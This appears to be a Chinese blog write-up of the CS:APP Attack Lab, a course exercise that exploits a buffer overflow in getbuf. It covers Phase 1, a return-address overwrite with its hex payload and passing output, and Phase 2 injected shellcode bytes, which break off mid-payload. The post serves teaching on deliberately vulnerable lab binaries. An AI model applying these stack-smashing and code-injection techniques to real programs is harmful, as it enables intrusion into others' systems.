CSAPP实验3:Attack Lab

一、资源概览

网站上下载到压缩包target1,解压后包含如下文件:
- README.txt:文件夹中各个文件的介绍。
- ctarget和rtarget:用于进行攻击的可执行文件
- cookie.txt:一个八位十六进制数,有些攻击会用到。
- farm.c:ROP攻击中用到的“gadget farm”的源码。
- hex2raw:用于生成攻击字符串的工具程序。

二、注意事项

  1. 运行ctarget和rtarget时可以使用以下参数:
    • -q:self-study必选参数,避免程序寻找教师的服务器。
    • -h:列出可能的命令行参数
    • -i FILE:从文件读取输入,而非从标准输入
  2. 使用”./hex2raw”将exploit字符串转换为字节码。使用方法参考attack.pdf的Appendix A。简而言之,输入应该为每两个十六进制数一组,用空格进行分隔。比如十六进制0应该写作00,0xdeadbeef应该写作“ef be ad de”。hex2raw的使用方法如下:

    unix> cat exploit.txt | ./hex2raw | ./ctarget
  3. 本实验可以参考CS:APP3e之3.10.3节和3.10.4节。
  4. 使用ret指令实施攻击,所用的地址应该是下列之一:
    • 函数touch1, touch2或touch3的地址
    • 注入代码的地址
    • 从gadget farm中利用的gadgets地址
  5. 从rtarget文件中构造gadgets的时候,地址应该在start_farm和end_farm之间。
  6. 漏洞存在于getbuf函数:无法得知缓冲区是否能容纳读入的字符串。

    unsigned getbuf()
    {
        char buf[BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

三、Part I: Code Injection Attacks

  • 攻击目标:ctarget
  • ctarget运行时,栈上位置是连续的,所以栈上的数据是可执行的。

Phase 1

  1. 任务:使ctarget从getbuf返回时,执行touch1的代码,而不是返回到test中继续执行。
  2. 建议:

    • 所需信息仅需要反汇编代码。可以用objdump -d
    • 注意字节顺序
    • 使用GDB,在getbuf的最后几步单步调试,确认情况
    • buf在栈帧中的位置取决于编译时的常量BUFFER_SIZE,以及GCC使用的分配策略。需要根据反汇编代码确定buf的位置。
  3. 查看getbuf

    gdb-peda$ disas getbuf
    Dump of assembler code for function getbuf:
    => 0x00000000004017a8 <+0>:     sub    rsp,0x28
    0x00000000004017ac <+4>:        mov    rdi,rsp
    0x00000000004017af <+7>:        call   0x401a40 <Gets>
    0x00000000004017b4 <+12>:       mov    eax,0x1
    0x00000000004017b9 <+17>:       add    rsp,0x28
    0x00000000004017bd <+21>:       ret    
    End of assembler dump.
  4. 很容易发现buf的缓冲区大小为0x28,所以填充了40个双字之后,写入的地址就可以覆盖返回地址ret了。记得要把地址后面的0补足了。

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    c0 17 40 00 00 00 00 00
  5. Phase 1可以通过了。

    cd@ubuntu:~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch1!: You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1:PASS:0xffffffff:ctarget:1:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00

Phase 2

  1. 任务:使ctarget从getbuf返回时,执行touch2的代码,而不是返回到test中继续执行。并且要将cookie作为参数传递给touch2。

  2. touch2的代码如下:

    void touch2(unsigned val)
    {
        vlevel = 2;             /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }
  3. 建议:

    • 传递给函数的第一个参数保存在%rdi中。
    • 注入代码应该把寄存器的值设成cookie,然后使用ret指令跳转到touch2。
    • 总是使用ret指令来执行程序的控制转移。
  4. 思考:

    • 注入代码的工作流程如上面的建议所示,首先要把%rdi的值设置为cookie的值,然后使用ret指令跳转到touch2。问题是,第二步怎么才能做到?
    • ret指令的作用:从栈上弹出地址A,然后把PC设置为A。通常书上讲的是call和ret如何配合使用。这里则可以单独利用ret的功能,把touch2的地址压入栈,使其位于栈顶,然后ret指令就会把控制转移到touch2。
  5. exploit-2

    注意!返回地址要用00前缀补齐位数;压入栈的地址要有**一个**00前缀,多余的00会被混入下一条指令,没有00的话下一条指令会被认作地址(gcc会处理好,不要自己乱加或者乱删)。

    48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
    68 ec 17 40 00              /* pushq  $0x4017ec        */
    c3                          /* retq                    */
    00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 
  • 4
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值